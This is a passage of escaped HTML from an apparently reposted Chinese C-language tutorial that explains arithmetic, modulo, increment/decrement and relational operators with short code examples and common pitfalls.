+x;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ey\u003c/code\u003e的值还是\u003ccode\u003e-12\u003c/code\u003e,因为\u003ccode\u003e+\u003c/code\u003e不会改变正负值。\u003c/p\u003e\u003cp\u003e二元运算符\u003ccode\u003e+\u003c/code\u003e和\u003ccode\u003e-\u003c/code\u003e用来完成加法和减法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e4\u003c/span\u003e + \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e y = \u003cspan class=\"number\"\u003e61\u003c/span\u003e - \u003cspan class=\"number\"\u003e23\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)\u003ccode\u003e*\u003c/code\u003e\u003c/p\u003e\u003cp\u003e运算符\u003ccode\u003e*\u003c/code\u003e用来完成乘法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e num = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, num * num); \u003cspan class=\"comment\"\u003e// 输出 25\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)\u003ccode\u003e/\u003c/code\u003e\u003c/p\u003e\u003cp\u003e运算符\u003ccode\u003e/\u003c/code\u003e用来完成除法。注意,两个整数相除,得到还是一个整数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x = \u003cspan class=\"number\"\u003e6\u003c/span\u003e / \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 输出 1.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,尽管变量\u003ccode\u003ex\u003c/code\u003e的类型是\u003ccode\u003efloat\u003c/code\u003e(浮点数),但是\u003ccode\u003e6 / 4\u003c/code\u003e得到的结果是\u003ccode\u003e1.0\u003c/code\u003e,而不是\u003ccode\u003e1.5\u003c/code\u003e。原因就在于 C 语言里面的整数除法是整除,只会返回整数部分,丢弃小数部分。\u003c/p\u003e\u003cp\u003e如果希望得到浮点数的结果,两个运算数必须至少有一个浮点数,这时 C 语言就会进行浮点数除法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x = \u003cspan class=\"number\"\u003e6.0\u003c/span\u003e / \u003cspan class=\"number\"\u003e4\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 或者写成 6 / 4.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 输出 1.500000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e6.0 / 4\u003c/code\u003e表示进行浮点数除法,得到的结果就是\u003ccode\u003e1.5\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e score = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003escore = (score / \u003cspan class=\"number\"\u003e20\u003c/span\u003e) * \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码,你可能觉得经过运算,\u003ccode\u003escore\u003c/code\u003e会等于\u003ccode\u003e25\u003c/code\u003e,但是实际上\u003ccode\u003escore\u003c/code\u003e等于\u003ccode\u003e0\u003c/code\u003e。这是因为\u003ccode\u003escore / 20\u003c/code\u003e是整除,会得到一个整数值\u003ccode\u003e0\u003c/code\u003e,所以乘以\u003ccode\u003e100\u003c/code\u003e后得到的也是\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e为了得到预想的结果,可以将除数\u003ccode\u003e20\u003c/code\u003e改成\u003ccode\u003e20.0\u003c/code\u003e,让整除变成浮点数除法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escore = (score / \u003cspan class=\"number\"\u003e20.0\u003c/span\u003e) * \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)\u003ccode\u003e%\u003c/code\u003e\u003c/p\u003e\u003cp\u003e运算符\u003ccode\u003e%\u003c/code\u003e表示求模运算,即返回两个整数相除的余值。这个运算符只能用于整数,不能用于浮点数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e6\u003c/span\u003e % \u003cspan class=\"number\"\u003e4\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e负数求模的规则是,结果的正负号由第一个运算数的正负号决定。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e11\u003c/span\u003e % \u003cspan class=\"number\"\u003e-5\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e-11\u003c/span\u003e % \u003cspan class=\"number\"\u003e-5\u003c/span\u003e \u003cspan class=\"comment\"\u003e// -1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e-11\u003c/span\u003e % \u003cspan class=\"number\"\u003e5\u003c/span\u003e \u003cspan class=\"comment\"\u003e// -1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一个运算数的正负号(\u003ccode\u003e11\u003c/code\u003e或\u003ccode\u003e-11\u003c/code\u003e)决定了结果的正负号。\u003c/p\u003e\u003cp\u003e(5)赋值运算的简写形式\u003c/p\u003e\u003cp\u003e如果变量对自身的值进行算术运算,C 语言提供了简写形式,允许将赋值运算符和算术运算符结合成一个运算符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e+=\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-=\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*=\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/=\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%=\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei += \u003cspan class=\"number\"\u003e3\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i + 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei -= \u003cspan class=\"number\"\u003e8\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i - 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei *= \u003cspan class=\"number\"\u003e9\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i * 9\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei /= \u003cspan class=\"number\"\u003e2\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i / 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei %= \u003cspan class=\"number\"\u003e5\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 i = i % 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"自增运算符,自减运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%87%AA%E5%A2%9E%E8%BF%90%E7%AE%97%E7%AC%A6%EF%BC%8C%E8%87%AA%E5%87%8F%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"自增运算符,自减运算符\"\u003e\u003c/a\u003e自增运算符,自减运算符\u003c/h3\u003e\u003cp\u003eC 语言提供两个运算符,对变量自身进行\u003ccode\u003e+ 1\u003c/code\u003e和\u003ccode\u003e- 1\u003c/code\u003e的操作。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e++\u003c/code\u003e:自增运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e--\u003c/code\u003e:自减运算符\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei++; \u003cspan class=\"comment\"\u003e// 等同于 i = i + 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei--; \u003cspan class=\"comment\"\u003e// 等同于 i = i - 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这两个运算符放在变量的前面或后面,结果是不一样的。\u003ccode\u003e++var\u003c/code\u003e和\u003ccode\u003e--var\u003c/code\u003e是先执行自增或自减操作,再返回操作后\u003ccode\u003evar\u003c/code\u003e的值;\u003ccode\u003evar++\u003c/code\u003e和\u003ccode\u003evar--\u003c/code\u003e则是先返回操作前\u003ccode\u003evar\u003c/code\u003e的值,再执行自增或自减操作。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (i++ + \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// i: 43\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// j: 52\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (++i + \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// i: 44\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// j: 54\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,自增运算符的位置差异,会导致变量\u003ccode\u003ej\u003c/code\u003e得到不同的值。这样的写法很容易出现意料之外的结果,为了消除意外,可以改用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 写法一 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (i + \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 写法二 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ej = (i + \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ei\u003c/code\u003e的自增运算与返回值是分离的两个步骤,这样就不太会出错,也提高了代码的可读性。\u003c/p\u003e\u003ch3 id=\"关系运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%85%B3%E7%B3%BB%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"关系运算符\"\u003e\u003c/a\u003e关系运算符\u003c/h3\u003e\u003cp\u003eC 语言用于比较的表达式,称为“关系表达式”(relational expression),里面使用的运算符就称为“关系运算符”(relational operator),主要有下面6个。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026gt;\u003c/code\u003e 大于运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\u0026lt;\u003c/code\u003e 小于运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\u0026gt;=\u003c/code\u003e 大于等于运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\u0026lt;=\u003c/code\u003e 小于等于运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e==\u003c/code\u003e 相等运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e!=\u003c/code\u003e 不相等运算符\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ea == b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea != b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea \u0026lt; b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea \u0026gt; b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea \u0026lt;= b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea \u0026gt;= b;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e关系表达式通常返回\u003ccode\u003e0\u003c/code\u003e或\u003ccode\u003e1\u003c/code\u003e,表示真伪。C 语言中,\u003ccode\u003e0\u003c/code\u003e表示伪,所有非零值表示真。比如,\u003ccode\u003e20 \u0026gt; 12\u003c/code\u003e返回\u003ccode\u003e1\u003c/code\u003e,\u003ccode\u003e12 \u0026gt; 20\u003c/code\u003e返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e关系表达式常用于\u003ccode\u003eif\u003c/code\u003e或\u003ccode\u003ewhile\u003c/code\u003e结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e3\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is 3.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,相等运算符\u003ccode\u003e==\u003c/code\u003e与赋值运算符\u003ccode\u003e=\u003c/code\u003e是两个不一样的运算符,不要混淆。有时候,可能会不小心写出下面的代码,它可以运行,但很容易出现意料之外的结果。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x = \u003cspan class=\"number\"\u003e3\u003c/span\u003e) ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,原意是\u003ccode\u003ex == 3\u003c/code\u003e,但是不小心写成\u003ccode\u003ex = 3\u003c/code\u003e。这个式子表示对变量\u003ccode\u003ex\u003c/code\u003e赋值\u003ccode\u003e3\u003c/code\u003e,它的返回值为\u003ccode\u003e3\u003c/code\u003e,所以\u003ccode\u003eif\u003c/code\u003e判断总是为真。\u003c/p\u003e\u003cp\u003e为了防止出现这种错误,有的程序员喜欢将变量写在等号的右边。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"number\"\u003e3\u003c/span\u003e == x) ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样的话,如果把\u003ccode\u003e==\u003c/code\u003e误写成\u003ccode\u003e=\u003c/code\u003e,编译器就会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 报错 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"number\"\u003e3\u003c/span\u003e = x) ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另一个需要避免的错误是,多个关系运算符不宜连用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei \u0026lt; j \u0026lt; k\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,连续使用两个小于运算符。这是合法表达式,不会报错,但是通常达不到想要的结果,即不是保证变量\u003ccode\u003ej\u003c/code\u003e的值在\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ek\u003c/code\u003e之间。因为关系运算符是从左到右计算,所以实际执行的是下面的表达式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan 